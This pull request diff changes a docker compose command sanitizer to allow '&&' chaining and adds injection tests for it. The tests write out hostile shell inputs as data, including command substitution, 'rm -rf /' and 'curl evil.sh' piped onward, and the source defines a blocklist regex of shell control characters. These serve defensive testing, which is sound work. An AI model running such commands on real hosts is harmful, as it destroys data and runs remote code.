Merge pull request #4997 from ews-pgasser/fix/chaining-canary

fix: allow docker compose command chaining
This commit is contained in:
Narciso E. Núñez Arias 2026-08-07 10:34:08 -04:00 committed by GitHub
commit 91258d00ad
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
2 changed files with 94 additions and 3 deletions

View File

@ -28,7 +28,7 @@ const runsSafely = (command: string) => {
const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`\`touch ${MARK}\``,
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];
@ -101,4 +101,69 @@ describe("compose createCommand injection", () => {
"deploy/docker-compose.prod.yml",
);
});
it("allows chained docker compose commands with '&&'", () => {
const cmd = createCommand({
...base,
command:
"compose pull && docker compose down && docker compose up -d --build",
} as any);
expect(cmd).toBe(
"compose pull && docker compose down && docker compose up -d --build",
);
});
it("allows chaining with the legacy 'docker-compose' spelling", () => {
const cmd = createCommand({
...base,
command: "compose pull && docker-compose down",
} as any);
expect(cmd).toBe("compose pull && docker-compose down");
});
it("rejects a single '&' used for backgrounding", () => {
expect(() =>
createCommand({ ...base, command: "compose up -d & sleep 1" } as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects a malformed '&&&' chain", () => {
expect(() =>
createCommand({
...base,
command: "compose pull &&& docker compose up -d",
} as any),
).toThrow(/Single '&' is not allowed/);
});
it("rejects chained segments that are not docker compose invocations", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && rm -rf /",
} as any),
).toThrow(/must strictly start with 'docker compose '/);
});
it("rejects an attempted injection smuggled inside a chained segment", () => {
for (const bad of [
"compose pull && docker compose up -d; touch /tmp/pwn",
"compose pull && docker compose up -d $(touch /tmp/pwn)",
"compose pull && docker compose up -d `touch /tmp/pwn`",
"compose pull && docker compose up -d | touch /tmp/pwn",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});
it("rejects a chain that only pretends to start with docker compose later in the string", () => {
expect(() =>
createCommand({
...base,
command: "compose pull && curl evil.sh | docker compose up -d",
} as any),
).toThrow(/Invalid characters/);
});
});

View File

@ -70,7 +70,8 @@ Compose Type: ${composeType} ✅`;
// Shell control characters that must never appear in a user-provided compose
// command: they would let it break out of the `docker ${command}` invocation
// into arbitrary host commands. A normal docker compose CLI line never needs them.
const UNSAFE_COMPOSE_COMMAND = /[;&|`$(){}<>\n\\]/;
// Removed '&' from the blocklist to allow '&&' chaining
const UNSAFE_COMPOSE_COMMAND = /[;|`$(){}<>\n\\]/;
const sanitizeCommand = (command: string) => {
const sanitizedCommand = command.trim();
@ -81,8 +82,33 @@ const sanitizeCommand = (command: string) => {
);
}
const parts = sanitizedCommand.split(/\s+/);
if (sanitizedCommand.includes("&")) {
// Block single '&' (e.g., backgrounding tasks) or malformed chains like '&&&'
if (
/(?<!&)&(?!&)/.test(sanitizedCommand) ||
sanitizedCommand.includes("&&&")
) {
throw new Error("Single '&' is not allowed. Use '&&' for chaining.");
}
// Split by '&&' and check that every chained command (skipping the first one) is safe
const chains = sanitizedCommand.split("&&").map((cmd) => cmd.trim());
const isSafeChain = chains
.slice(1)
.every(
(cmd) =>
cmd.startsWith("docker compose ") ||
cmd.startsWith("docker-compose "),
);
if (!isSafeChain) {
throw new Error(
"Chained commands must strictly start with 'docker compose '",
);
}
}
const parts = sanitizedCommand.split(/\s+/);
const restCommand = parts.map((arg) => arg.replace(/^"(.*)"$/, "$1"));
return restCommand.join(" ");